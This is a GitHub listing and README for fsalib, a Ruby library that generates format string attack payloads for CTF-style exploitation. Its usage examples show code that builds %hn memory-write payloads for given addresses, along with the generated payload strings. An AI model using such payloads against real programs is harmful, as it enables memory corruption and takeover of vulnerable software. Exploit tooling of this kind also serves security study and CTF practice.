https://github.com/owlinux1000/fsalib
format string attack payload generator
https://github.com/owlinux1000/fsalib
ctf-tools exploitation-framework pwn ruby
Last synced: about 2 months ago
JSON representation
format string attack payload generator
- Host: GitHub
- URL: https://github.com/owlinux1000/fsalib
- Owner: owlinux1000
- License: mit
- Archived: true
- Created: 2017-02-23T05:58:11.000Z (over 8 years ago)
- Default Branch: master
- Last Pushed: 2018-05-06T08:13:38.000Z (about 7 years ago)
- Last Synced: 2025-04-12T06:35:56.903Z (3 months ago)
- Topics: ctf-tools, exploitation-framework, pwn, ruby
- Language: Ruby
- Homepage:
- Size: 131 KB
- Stars: 5
- Watchers: 3
- Forks: 1
- Open Issues: 1
-
Metadata Files:
- Readme: README.md
- License: LICENSE.txt
Awesome Lists containing this project
README
# fsalib
[](https://travis-ci.org/owlinux1000/fsalib)
[](LICENSE)I made this script based on [libformatstr](https://github.com/hellman/libformatstr).
## Install
```
$ gem install fsa
```## Usage
### Basic
```ruby
#coding: ascii-8bit
require_relative 'fsa'target_addr = 0x08049580
value = 0xdeadbeef
fmt = FSA.new()
fmt[target_addr] = value
p fmt.payload(0) # index of argument
#=> "%48879c%6$hn%8126c%7$hnA\x80\x95\x04\b\x82\x95\x04\b"# Supported Array
value = [0xdeadbeef, 0xdeadbeef] # like ropchain
fmt = FSA.new()
fmt[target_addr] = value
p fmt.payload(0)
#=> "%48879c%9$hn%10$hn%8126c%11$hn%12$hn\x80\x95\x04\b\x84\x95\x04\b\x82\x95\x04\b\x86\x95\x04\b"# Supported String
value = "H@CK"
fmt = FSA.new()
fmt[target] = value
p fmt.payload(0)
#=> "%16456c%6$hn%2811c%7$hnA\x80\x95\x04\b\x82\x95\x04\b"
```### Advanced
```ruby
#coding: ascii-8bit
require_relative 'fsa'target_addr = 0x08049580
value = 0xdead # 2byte(Supported 2byte, 1byte)
fmt = FSA.new(30) # padding
fmt[target_addr] = value
p fmt.payload(0, start_len = 10) # len of already printed data
#=> "%57005c%3$hnAAL\xA0\x04\b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"```